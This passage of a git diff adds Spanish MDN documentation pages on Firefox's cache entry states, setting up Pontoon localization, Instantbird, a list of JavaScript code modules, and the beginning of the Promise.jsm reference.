+   <li>the <a href="#CacheEntry::OnHandleClosed"><strong><em>writer</em> throws the entry away</strong></a></li>
+   <li>the <strong>output stream </strong>of the entry has been <strong>opened </strong>or <strong>closed</strong></li>
+   <li><code><strong>metaDataReady </strong></code>or <code><strong>setValid </strong></code>on the entry has been called</li>
+   <li>the entry has been <strong>doomed</strong></li>
+  </ul>
+ </li>
+ <li>state == EMPTY:
+  <ul>
+   <li>on OPER_READONLY flag use: onCacheEntryAvailable with <code>null </code>for the cache entry</li>
+   <li>otherwise:
+    <ul>
+     <li>state = WRITING</li>
+     <li>opener is removed from the FIFO and remembered as the current '<em>writer</em>'</li>
+     <li>onCacheEntryAvailable with <code>aNew = true </code>and this entry is invoked (on the caller thread) for the <em>writer</em></li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>state == READY:
+  <ul>
+   <li>onCacheEntryCheck with the entry is invoked on the first opener in FIFO - on the caller thread if demanded</li>
+   <li>result == RECHECK_AFTER_WRITE_FINISHED:
+    <ul>
+     <li>opener is left in the FIFO with a flag <code>RecheckAfterWrite</code></li>
+     <li>such openers are skipped until the output stream on the entry is closed, then <code>onCacheEntryCheck</code> is re-invoked on them</li>
+     <li><span style="color: #696969;">Note: here is a potential for endless looping when RECHECK_AFTER_WRITE_FINISHED is abused</span></li>
+    </ul>
+   </li>
+   <li>result == ENTRY_NEEDS_REVALIDATION:
+    <ul>
+     <li>state = REVALIDATING, this prevents invocation of any callback until <code>CacheEntry::SetValid</code> is called</li>
+     <li>continue as in state ENTRY_WANTED (just bellow)</li>
+    </ul>
+   </li>
+   <li>result == ENTRY_WANTED:
+    <ul>
+     <li>consumer reference ++ (dropped back when the consumer releases the entry)</li>
+     <li>onCacheEntryAvailable is invoked on the opener with <code>aNew = false </code>and the entry</li>
+     <li>opener is removed from the FIFO</li>
+    </ul>
+   </li>
+   <li>result == ENTRY_NOT_WANTED:
+    <ul>
+     <li><code>onCacheEntryAvailable</code> is invoked on the opener with <code>null </code>for the entry</li>
+     <li>opener is removed from the FIFO</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>state == WRITING or REVALIDATING:
+  <ul>
+   <li>do nothing and exit</li>
+  </ul>
+ </li>
+ <li>any other value of state is unexpected here (assertion failure)</li>
+ <li>loop this process while there are openers in the FIFO</li>
+</ul>
+
+<p><a name="CacheEntry::OnFileReady"><strong>CacheEntry::OnFileReady</strong> (entry atomic):</a></p>
+
+<ul>
+ <li>load result == failure or the file has not been found on disk (is new): state = EMPTY</li>
+ <li>otherwise: state = READY since the cache file has been found and is usable containing meta data and data of the entry</li>
+ <li>call to <a href="#CacheEntry::InvokeCallbacks">CacheEntry::InvokeCallbacks</a></li>
+</ul>
+
+<p><a name="CacheEntry::OnHandleClosed"><strong>CacheEntry::OnHandleClosed</strong> (entry atomic):</a></p>
+
+<ul>
+ <li>Called when any consumer throws the cache entry away</li>
+ <li>If the handle is not the handle given to the current <em>writer</em>, then exit</li>
+ <li>state == WRITING: the writer failed to call <code>metaDataReady</code> on the entry - state = EMPTY</li>
+ <li>state == REVALIDATING: the writer failed the re-validation process and failed to call <code>setValid</code> on the entry - state = READY</li>
+ <li>call to <a href="#CacheEntry::InvokeCallbacks">CacheEntry::InvokeCallbacks</a></li>
+</ul>
+
+<p><strong><a name="All consumers release the reference">All consumers release the reference</a>:</strong></p>
+
+<ul>
+ <li>the entry may now be purged (removed) from memory when found expired or least used on overrun of the <a href="#Intermediate_memory_caching">memory pool</a> limit</li>
+ <li>when this is a disk cache entry, its cached data chunks are released from memory and only meta data is kept</li>
+</ul>
+
+<h3 id="Intermediate_memory_caching_of_frequently_used_metadata_a.k.a._disk_cache_memory_pool"><a name="Intermediate_memory_caching">Intermediate memory caching </a>of frequently used metadata (a.k.a. disk cache memory pool)</h3>
+
+<div class="note">
+<p>This is a description of this feature status that is currently only a patch in <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=986179">bug 986179</a>. Current behavior is simpler and causes a serious memory consumption regression (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=975367">bug 975367</a>).</p>
+</div>
+
+<p>For the disk cache entries we keep some of the most recent and most used cache entries' meta data in memory for immediate zero-thread-loop opening. The default size of this meta data memory pool is only 250kB and is controlled by a new <code>browser.cache.disk.metadata_memory_limit</code> preference. When the limit is exceeded, we purge (throw away) first <strong>expired</strong> and then <strong>least used </strong>entries to free up memory again. </p>
+
+<p>Only <code>CacheEntry</code> objects that are already loaded and filled with data and having the 'consumer reference == 0' (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=942835#c3">bug 942835</a>) can be purged.</p>
+
+<p>The 'least used' entries are recognized by the lowest value of <a href="https://wiki.mozilla.org/User:Jesse/NewFrecency?title=User:Jesse/NewFrecency">frecency</a> we re-compute for each entry on its every access. The decay time is controlled by the <code>browser.cache.frecency_half_life_hours</code> preference and defaults to 6 hours. The best decay time will be based on results of <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=986728">an experiment</a>.</p>
+
+<p>The memory pool is represented by two lists (strong refering ordered arrays) of <code>CacheEntry</code> objects:</p>
+
+<ol>
+ <li>Sorted by expiration time (that default to 0xFFFFFFFF)</li>
+ <li>Sorted by frecency (defaults to 0)</li>
+</ol>
+
+<p>We have two such pools, one for memory-only entries actually representing the memory-only cache and one for disk cache entries for which we only keep the meta data.  Each pool has a different limit checking - the memory cache pool is controlled by <code>browser.cache.memory.capacity</code>, the disk entries pool is already described above. The pool can be accessed and modified only on the cache background thread.</p>
+
+<div id="cke_pastebin" style="">"@mozilla.org/netwerk/cache-storage-service;1"</div>
diff --git a/files/es/mozilla/implementing_pontoon_in_a_mozilla_website/index.html b/files/es/mozilla/implementing_pontoon_in_a_mozilla_website/index.html
new file mode 100644
index 0000000000..174403bdd8
--- /dev/null
+++ b/files/es/mozilla/implementing_pontoon_in_a_mozilla_website/index.html
@@ -0,0 +1,76 @@
+---
+title: Implementando Pontoon en un proyecto de Mozilla
+slug: Mozilla/Implementing_Pontoon_in_a_Mozilla_website
+tags:
+  - Localización
+translation_of: Mozilla/Implementing_Pontoon_in_a_Mozilla_website
+---
+<p><a class="external external-icon" href="https://pontoon.mozilla.org">Pontoon</a> Pontoon es una herramienta basada en web, WYSIWYG (localización de lo que se obtiene) y localización (l10n). En Mozilla, actualmente usamos Pontoon para localizar varios proyectos de Mozilla y la interfaz de la aplicación Firefox OS, conocida como Gaia. Pontoon es una herramienta muy simple e intuitiva que requiere poca o ninguna habilidad técnica para el uso de los localizadores, lo que disminuirá el tiempo de publicación de las versiones localizadas de su proyecto. Aquí discutiremos cómo puedes agregar Pontoon a tu proyecto de Mozilla.</p>
+
+<div class="note">
+<p><strong>¿Te gustaría mejorar Pontoon? </strong>Aprende cómo involucrarte en <a href="https://github.com/mozilla/pontoon">GitHub</a>.</p>
+</div>
+
+<div class="note">
+<p><strong>¿Empezando con tu proyecto l10n?</strong> Mira la wiki en <a href="https://wiki.mozilla.org/L10n:NewProjects">haciendo que tu proyecto sea localizado.</a></p>
+</div>
+
+<h2 id="A._Haz_tu_proyecto_localizable">A. Haz tu proyecto localizable</h2>
+
+<p>Nos damos cuenta de que estos ya se consideran estándar <a class="external external-icon" href="https://mozweb.readthedocs.org/en/latest/reference/l10n.html">buenas practicas</a> para localizar proyectos en Mozilla, pero creemos que es bueno agregarlos aquí como un pequeño recordatorio.</p>
+
+<ol>
+ <li>Asegurate de que tu proyecto sea compatible con uno de los frameworks l10n (<a class="external external-icon" href="https://www.gnu.org/software/gettext/">gettext</a>, <a class="external external-icon" href="https://docs.oasis-open.org/xliff/xliff-core/v2.0/xliff-core-v2.0.html">XLIFF</a>, <a class="external external-icon" href="https://projectfluent.org/">L20n</a>, <a class="external external-icon" href="https://github.com/mozilla-l10n/langchecker/wiki/.lang-files-format">lang</a>, <a class="external external-icon" href="https://en.wikipedia.org/wiki/.properties">properties</a>, etc.).</li>
+ <li>Extrae cadenas localizables en archivos de recursos.</li>
+ <li>Envia archivos de recursos a un repositorio (SVN, HG, Git).
+  <ul>
+   <li>Las carpetas locales individuales deben ubicarse en el mismo nivel de anidamiento del árbol de directorios. La fuente de la fuente necesita ser llamada<code>templates</code>, <code>en-US</code>, <code>en-us</code> o <code>en</code>. Si existen varias carpetas con ese nombre en el repositorio y contienen archivos en un formato de archivo admitido, se usará el primero. Es posible que desees colocar todas las carpetas de configuración regional de forma dedicada <code>locales</code> carpeta para este propósito. El código de configuración regional no debe ser parte del nombre del archivo.</li>
+   <li>Patrón correcto:
+    <pre>/locales/{locale_code}/path/to/file.extension</pre>
+   </li>
+   <li>Patrón incorrecto:
+    <pre>/locales/{locale_code}/path/to/file.{locale_code}.extension</pre>
+   </li>
+  </ul>
+ </li>
+ <li>Asegúrate de que Pontoon tenga acceso de escritura al repositorio.
+  <ul>
+   <li>Si usas GitHub, agrega <a class="external external-icon" href="https://github.com/mozilla-pontoon">mozilla-pontoon</a> o <a href="https://github.com/orgs/mozilla/teams/pontoon-l10n-robots">pontoon-l10n-robots</a> como colaborador de tu proyecto.</li>
+  </ul>
+ </li>
+</ol>
+
+<h2 id="B._opcional_Habilita_la_localización_in-page_de_tu_proyecto_web">B. (opcional) Habilita la localización in-page de tu proyecto web</h2>
+
+<ol>
+ <li>Enlaza un script desde el elemento HTML <code>&lt;body&gt;</code> , por lo que Pontoon puede comunicarce con tu sitio, pueda detectar contenido y hacerlo localizable en su lugar. Solo necesitas hacer esto en el entorno que se usará para la localización in-page, <span class="short_text" id="result_box" lang="es"><span>p.ej.</span> <span>servidor de puesta en escena:</span></span>
+
+  <ul>
+   <li>
+    <pre id="line1"><span>  </span><span>&lt;<span class="start-tag">script</span> <span class="attribute-name">src</span>="<a class="attribute-value">https://pontoon.mozilla.org/pontoon.js</a>"</span><span>&gt;&lt;/<span class="end-tag">script</span>&gt;</span></pre>
+   </li>
+  </ul>
+ </li>
+ <li>Si tu sitio usa <a href="/es/docs/Web/HTTP/CSP">CSP</a>,  por favor, asegurate de que lo siguiente está permitido para el dominio <code>pontoon.mozilla.org</code>:
+  <ol>
+   <li>cargar dentro de iframe</li>
+   <li>cargar a distancia CSS</li>
+   <li>cargar imágenes remotas</li>
+  </ol>
+ </li>
+ <li>Si tu sitio usa el <a href="/es/docs/Web/HTTP/Headers/X-Frame-Options">X-Frame-Options</a> Encabezado, asegurate que la carga dentro del iframe esté permitida para el dominio <code>pontoon.mozilla.org</code>.</li>
+ <li>Asegurate de que tu sitio sea compatible con HTTPS. Es gratis, automatizado y abierto. <a href="https://letsencrypt.org/">Vamos a encriptar</a>!</li>
+</ol>
+
+<h2 id="C._Agrega_tu_proyecto_a_Pontoon">C. Agrega tu proyecto a Pontoon</h2>
+
+<p>Tu proyecto ahora está listo para ser configurado en Pontoon. Por favor presenta un error en <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Localization%20Infrastructure%20and%20Tools&amp;component=Administration%20%2F%20Setup">Infraestructura de localización y herramientas :: Administración / Configuración</a> y proporciona la siguiente información:</p>
+
+<ul>
+ <li>Nombre del proyecto</li>
+ <li>URL de repositorio</li>
+ <li>Lista de configuraciones regionales solicitadas</li>
+ <li>URL del sitio web, incluidas todas las URL de las subpáginas (solo si se usa la localización in-page)</li>
+</ul>
+
+<p>Para más detalles,  por favor ponte en contacto con el <a href="mailto:pontoon-team@mozilla.com">Equipo de gestión de proyectos.</a></p>
diff --git a/files/es/mozilla/index.html b/files/es/mozilla/index.html
new file mode 100644
index 0000000000..01b354fbc0
--- /dev/null
+++ b/files/es/mozilla/index.html
@@ -0,0 +1,6 @@
+---
+title: Mozilla
+slug: Mozilla
+translation_of: Mozilla
+---
+<p>Esta página fue auto-generada ya que un usuario creó una sub-página a esta página.</p>
diff --git a/files/es/mozilla/instantbird/index.html b/files/es/mozilla/instantbird/index.html
new file mode 100644
index 0000000000..2a3d2a931d
--- /dev/null
+++ b/files/es/mozilla/instantbird/index.html
@@ -0,0 +1,58 @@
+---
+title: Instantbird
+slug: Mozilla/Instantbird
+translation_of: Mozilla/Instantbird
+---
+<p><span class="seoSummary"><strong>Instantbird</strong> es una aplicación de mensajería con un estrecho vinculo con Mozilla. Estas páginas sirven como documentación de  Instantbird y también proveen enlaces a la documentación acerca del backend <a href="/en-US/docs/Chat_Core">Chat Core</a> que es utilizado también por <a href="/es/docs/Mozilla/Thunderbird">Thunderbird</a>.</span></p>
+
+<p>Instabirs está construido sobre la misma plataforma técnica que <a href="/es/docs/Mozilla/Firefox">Firefox</a>. Originalmente propuesto como un porjecto del Google Summer of Code para crear una interfaz XUL al rededor de libpurple (el backend de Pidgin). Instabird no fue aceptado, pero inicio de cualquier modo en 2007, desde entonces ha crecido más allá de ser un simple frontend para libpurple hasta tener protocolos propios.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">Documentación</h2>
+
+    <dl>
+     <dt><a href="/en-US/docs/Simple_Instantbird_build" title="Simple Thunderbird build">Construyendo Instabird</a></dt>
+     <dd>Información acerca de cómo construir Instabird a partir del repositorio <a href="/en-US/docs/comm-central" title="comm-central">comm-central</a>.</dd>
+     <dt><span class="seoSummary"><a href="/en-US/docs/Chat_Core">Chat Core</a></span></dt>
+     <dd><span class="seoSummary">El código backend, incluyendo amplia documentación sobre </span><a href="/en-US/docs/Chat_Core/Protocols" title="MailNews_Protocols">protocolos de chat</a>  ({{ Interface("prplIProtocol") }} y amigos).</dd>
+     <dt><a href="/en-US/docs/Chat_Core/Message_Styles" title="DB_Views_(message_lists)">Estilos de mensajes</a></dt>
+     <dd>Información acerca de aplicar temas a los mensajes mostrados.</dd>
+     <dt><a href="/en-US/docs/Chat_core/Keyboard_shortcuts">Atajos de teclado</a></dt>
+     <dd>Lista de atajos de teclado</dd>
+     <dt>
+     <h2 id="Links_útiles">Links útiles</h2>
+     </dt>
+     <dt><a href="http://ftp.instantbird.com/instantbird/nightly/latest-trunk/">Nightly builds más recientes</a></dt>
+     <dd>Estos son generalmente estables, pero espere que algo se rompa de vez en cuando y ocasione <a href="https://bugzilla.mozilla.org/" title="Instantbird:Bugzilla">bugs</a>.</dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/en-US/docs/tag/Instantbird" title="tag/Thunderbird">Ver todos...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Community" id="Community" name="Community">Comunidad</h2>
+
+    <ul>
+     <li><a class="link-irc" href="irc://irc.mozilla.org/instantbird">#instantbird en irc.mozilla.org</a> (para usuarios y desarrolladores)</li>
+     <li>El soporte es manejado por la lista de correo support-instabird o en IRC: {{ DiscussionList("support-instantbird", "mozilla.support.instantbird") }}</li>
+     <li>Las preguntas sobre extensiones pueden ser comentadas en el grupo dev-chat o en  IRC: {{ DiscussionList("dev-chat", "mozilla.dev.chat") }}</li>
+     <li>una lista de todos los <a class="external external-icon" href="https://wiki.mozilla.org/Instantbird/CommunicationChannels" title="Thunderbird communication channels">Instantbird communication channels</a></li>
+    </ul>
+
+    <h2 class="Tools" id="Tools" name="Tools">Herramientas</h2>
+
+    <ul>
+     <li><a href="/es/docs/DOM_Inspector" title="DOM_Inspector">Inspector de DOM</a></li>
+    </ul>
+
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Temas relacionados</h2>
+
+    <ul>
+     <li><a href="/es/docs/Extensions" title="Extensions">Extensiones</a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/mozilla/javascript_code_modules/index.html b/files/es/mozilla/javascript_code_modules/index.html
new file mode 100644
index 0000000000..2099b4ca62
--- /dev/null
+++ b/files/es/mozilla/javascript_code_modules/index.html
@@ -0,0 +1,146 @@
+---
+title: JavaScript code modules
+slug: Mozilla/JavaScript_code_modules
+tags:
+  - Add-ons
+  - Extensions
+  - JavaScript
+  - Modules
+  - NeedsTranslation
+  - TopicStub
+  - XPCOM
+translation_of: Mozilla/JavaScript_code_modules
+---
+<div>
+  {{gecko_minversion_header("1.9")}}</div>
+<p>JavaScript code modules let multiple privileged JavaScript scopes share code. For example, a module could be used by Firefox itself as well as by extensions, in order to avoid code duplication.</p>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 id="General_topics">General topics</h2>
+        <dl>
+          <dt>
+            <a href="/en-US/docs/JavaScript_code_modules/Using" title="./Using">Using JavaScript code modules</a></dt>
+          <dd>
+            An introduction to how to use JavaScript code modules.</dd>
+          <dt>
+            <a href="/en-US/docs/Components.utils.import" title="Components.utils.import">Component.utils.import</a></dt>
+          <dd>
+            How to import a JavaScript code module.</dd>
+          <dt>
+            <a href="/en-US/docs/Components.utils.unload" title="Components.utils.unload">Component.utils.unload</a> {{gecko_minversion_inline("7.0")}}</dt>
+          <dd>
+            How to unload a JavaScript code module.</dd>
+          <dt>
+            <a href="/en-US/docs/Code_snippets/Modules" title="Code_snippets/Modules">Code snippets: Modules</a></dt>
+          <dd>
+            Examples of how to use code modules.</dd>
+          <dt>
+            <a class="external" href="http://wiki.mozilla.org/Labs/JS_Modules">Mozilla Labs JS Modules</a></dt>
+          <dd>
+            This page features a list of JS modules, along with download links and documentation, that extension developers can use in their code.</dd>
+        </dl>
+        <dl>
+        </dl>
+      </td>
+      <td>
+        <h2 id="Standard_code_modules">Standard code modules</h2>
+        <dl>
+          <dt>
+            <a href="/en-US/docs/Addons/Add-on_Manager" title="Addons/Add-on_Manager">AddonManager.jsm</a> {{gecko_minversion_inline("2.0")}}</dt>
+          <dd>
+            Interface to install, manage, and uninstall add-ons.</dd>
+          <dt>
+            <a href="/en-US/docs/Addons/Add-on_Repository" title="Addons/Add-on Repository">AddonRepository.jsm</a> {{gecko_minversion_inline("2.0")}}</dt>
+          <dd>
+            Allows searching of the add-ons repository.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/js-ctypes" title="./ctypes.jsm">ctypes.jsm</a> {{fx_minversion_inline("3.6")}}</dt>
+          <dd>
+            Provides an interface that allows JavaScript code to call native libraries without requiring the development of an XPCOM component.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/DeferredTask.jsm" title="./DeferredTask.jsm">DeferredTask.jsm</a> {{gecko_minversion_inline("18.0")}}</dt>
+          <dd>
+            Run a task after a delay.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/Dict.jsm" title="./Dict.jsm">Dict.jsm</a> {{gecko_minversion_inline("5.0")}}</dt>
+          <dd>
+            Provides an API for key/value pair dictionaries.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/DownloadLastDir.jsm" title="./DownloadLastDir.jsm">DownloadLastDir.jsm</a> {{gecko_minversion_inline("2.0")}}</dt>
+          <dd>
+            Provides the path to the directory into which the last download occurred.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/Downloads.jsm" title="./Downloads.jsm">Downloads.jsm</a> {{gecko_minversion_inline("23.0")}}</dt>
+          <dd>
+            Provides a single entry point to interact with the downloading capabilities of the platform.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/FileUtils.jsm" title="./FileUtils.jsm"><span style="font-weight: bold;">FileUtils.jsm</span></a> {{gecko_minversion_inline("1.9.2")}}</dt>
+          <dd>
+            Provides helpers for dealing with files.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/Geometry.jsm" title="./Geometry.jsm">Geometry.jsm</a> {{gecko_minversion_inline("2.0")}}</dt>
+          <dd>
+            Provides routines for performing basic geometric operations on points and rectangles.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/ISO8601DateUtils.jsm" title="./ISO8601DateUtils.jsm">ISO8601DateUtils.jsm</a></dt>
+          <dd>
+            Provides routines to convert between JavaScript <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date" title="JavaScript/ Reference/Global Objects/Date"><code>Date</code></a> objects and ISO 8601 date strings.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/NetUtil.jsm" title="./NetUtil.jsm"><span style="font-weight: bold;">NetUtil.jsm</span></a></dt>
+          <dd>
+            Provides helpful networking utility functions, including the ability to easily copy data from an input stream to an output stream asynchronously.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/openLocationLastURL.jsm" title="./openLocationLastURL.jsm">openLocationLastURL.jsm</a> {{gecko_minversion_inline("1.9.1.4")}}</dt>
+          <dd>
+            Provides access to the last URL opened using the "Open Location" option in the File menu.</dd>
+          <dt>
+            <a href="/en-US/docs/JavaScript_OS.File" title="/en-US/docs/JavaScript_OS.File">osfile.jsm</a> {{gecko_minversion_inline("16.0")}}</dt>
+          <dd>
+            JavaScript module <code>OS.File</code> contains primitives for manipulating files</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/PerfMeasurement.jsm" title="./PerfMeasurement.jsm">PerfMeasurement.jsm</a> {{fx_minversion_inline("4.0")}}</dt>
+          <dd>
+            Provides access to low-level hardware and OS performance measurement tools.</dd>
+          <dt>
+            <a href="/en-US/docs/Localization_and_Plurals" title="Localization and Plurals">PluralForm.jsm</a></dt>
+          <dd>
+            Provides an easy way to get the correct plural forms for the current locale, as well as ways to localize to a specific plural rule.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/PopupNotifications.jsm" title="./PopupNotifications.jsm">PopupNotifications.jsm</a> {{gecko_minversion_inline("2.0")}}</dt>
+          <dd>
+            Provides an easy way to present non-modal notifications to users.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm" title="./Promise.jsm">Promise.jsm</a> {{gecko_minversion_inline("25.0")}}</dt>
+          <dd>
+            Implements the <a class="external" href="https://github.com/promises-aplus/promises-spec/blob/1.0.0/README.md" title="https://github.com/promises-aplus/promises-spec/blob/1.0.0/README.md">Promises/A+</a> proposal as known in April 2013.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/Services.jsm" title="./Services.jsm">Services.jsm</a> {{gecko_minversion_inline("2.0")}}</dt>
+          <dd>
+            Provides getters for conveniently obtaining access to commonly-used services.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/source-editor.jsm" title="./source-editor.jsm">source-editor.jsm</a> {{fx_minversion_inline("11.0")}}</dt>
+          <dd>
+            The Source Editor is used by developer tools such as the Style Editor; this interface implements the editor and lets you interact with it.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/Sqlite.jsm" title="./Sqlite.jsm">Sqlite.jsm</a> {{gecko_minversion_inline("20.0")}}</dt>
+          <dd>
+            A Promise-based API to {{ interface("mozIStorage") }}/SQLite.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/Task.jsm" title="./Task.jsm">Task.jsm</a> {{gecko_minversion_inline("17.0")}}</dt>
+          <dd>
+            Implements a subset of <a class="external" href="http://taskjs.org/" title="http://taskjs.org/">Task.js</a> to make sequential, asynchronous operations simple, using the power of JavaScript's <code>yield</code> operator.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/Timer.jsm" title="/en-US/docs/Mozilla/JavaScript_code_modules/Timer.jsm">Timer.jsm </a>{{gecko_minversion_inline("22.0")}}</dt>
+          <dd>
+            A pure JS implementation of <code>window.setTimeout</code>.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/JavaScript_code_modules/XPCOMUtils.jsm" title="./XPCOMUtils.jsm">XPCOMUtils.jsm</a></dt>
+          <dd>
+            Contains utilities for JavaScript components loaded by the JS component loader.</dd>
+        </dl>
+      </td>
+    </tr>
+  </tbody>
+</table>
diff --git a/files/es/mozilla/javascript_code_modules/promise.jsm/index.html b/files/es/mozilla/javascript_code_modules/promise.jsm/index.html
new file mode 100644
index 0000000000..58806c841b
--- /dev/null
+++ b/files/es/mozilla/javascript_code_modules/promise.jsm/index.html
@@ -0,0 +1,134 @@
+---
+title: Promise.jsm
+slug: Mozilla/JavaScript_code_modules/Promise.jsm
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/JavaScript_code_modules/Promise.jsm
+---
+<p>{{ gecko_minversion_header("25") }}</p>
+
+<p>The <code>Promise.jsm</code> JavaScript code module implements the <a href="https://github.com/promises-aplus/promises-spec/blob/1.0.0/README.md" title="https://github.com/promises-aplus/promises-spec/blob/1.0.0/README.md">Promises/A+</a> proposal as known in April 2013. To use it, you first need to import the code module into your JavaScript scope:</p>
+
+<pre>Components.utils.import("resource://gre/modules/Promise.jsm");
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> A preliminary promise module is also available starting from Gecko 17, though it didn't conform to the Promises/A+ proposal until Gecko 25:</p>
+
+<pre>Components.utils.import("<strike>resource://gre/modules/commonjs/promise/core.js</strike>");     // Gecko 17 to 20
+Components.utils.import("<strike>resource://gre/modules/commonjs/sdk/core/promise.js</strike>"); // Gecko 21 to 24
+</pre>
+
+<p>This implementation also includes helper functions that are specific to the Add-on SDK. While you may still import this module from the above paths, the recommended way for loading it is through the <a href="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/modules/toolkit/loader.html" title="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/modules/toolkit/loader.html">Add-on SDK loader</a>.</p>
+</div>
+
+<h2 id="Introduction">Introduction</h2>
+
+<p>For an introduction to promises, you may start from the <a href="/en-US/Add-ons/SDK/Low-Level_APIs/core_promise">Add-on SDK documentation</a>, keeping in mind that only the core subset is implemented in this module.</p>
+
+<p><u>A promise is an object representing a value that may not be available yet</u>. Internally, a promise can be in one of three states:</p>
+
+<ul>
+ <li><strong>Pending</strong>, when the final value is not available yet. This is the only state that may transition to one of the other two states.</li>
+ <li><strong>Fulfilled</strong>, when and if the final value becomes available. A <em>fulfillment value</em> becomes permanently associated with the promise. This may be any value, including <code>undefined</code>.</li>
+ <li><strong>Rejected</strong>, if an error prevented the final value from being determined. A <em>rejection reason</em> becomes permanently associated with the promise. This may be any value, including <code>undefined</code>, though it is generally an <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Error" title="/en-US/docs/JavaScript/Reference/Global_Objects/Error"><code>Error</code></a> object, like in exception handling.</li>
+</ul>
+
+<p>A reference to an existing promise may be received by different means, for example as the return value of a call into an asynchronous API. In this case, the state of the promise can be observed but not directly controlled.</p>
+
+<p>To observe the state of a promise, its <code>then</code> method must be used. This method registers callback functions that are called as soon as the promise is either fulfilled or rejected. The method returns a new promise, that in turn is fulfilled or rejected depending on the state of the original promise and on the behavior of the callbacks. For example, unhandled exceptions in the callbacks cause the new promise to be rejected, even if the original promise is fulfilled. See the documentation of the <code>then</code> method for details.</p>
+
+<p>Promises may also be created using the <a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Promise#Constructor" title="/Mozilla/JavaScript_code_modules/Promise.jsm/Promise#Constructor"><code>new Promise()</code></a> constructor.</p>
+
+<h2 id="Method_overview">Method overview</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Deferred" title="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Deferred">Deferred</a> <a href="#defer()">defer</a>();</code> {{ obsolete_inline("30") }}</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Promise" title="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Promise">Promise</a> <a href="#resolve()">resolve</a>([optional] aValue);</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Promise" title="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Promise">Promise</a> <a href="#reject()">reject</a>([optional] aReason);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods">Methods</h2>
+
+<h3 id="defer()">defer()</h3>
+
+<p>Creates a new pending promise and provides methods to resolve or reject it.</p>
+
+<pre>Deferred defer(); {{ obsolete_inline("30") }}
+</pre>
+
+<h6 id="Parameters">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value">Return value</h6>
+
+<p>A new object, containing the new promise in the <code>promise</code> property, and the methods to change its state in the <code>resolve</code> and <code>reject</code> properties. See the <a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Deferred" title="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Deferred"><code>Deferred</code></a> documentation for details.</p>
+
+<h3 id="resolve()">resolve()</h3>
+
+<p>Creates a new promise fulfilled with the specified value, or propagates the state of an existing promise.</p>
+
+<pre>Promise resolve(
+  aValue
+);
+</pre>
+
+<h6 id="Parameters_2">Parameters</h6>
+
+<dl>
+ <dt><code>aValue</code> {{ optional_inline() }}</dt>
+ <dd>If this value is not a promise, including <code>undefined</code>, it becomes the fulfillment value of the returned promise. If this value is a promise, then the returned promise will be resolved with the value, i.e. it will eventually assume the same state as the provided promise.</dd>
+</dl>
+
+<h6 id="Return_value_2">Return value</h6>
+
+<p>A promise that can be pending, fulfilled, or rejected.</p>
+
+<h3 id="reject()">reject()</h3>
+
+<p>Creates a new promise rejected with the specified reason.</p>
+
+<pre>Promise reject(
+  aReason
+);
+</pre>
+
+<h6 id="Parameters_3">Parameters</h6>
+
+<dl>
+ <dt><code>aReason</code> {{ optional_inline() }}</dt>
+ <dd>
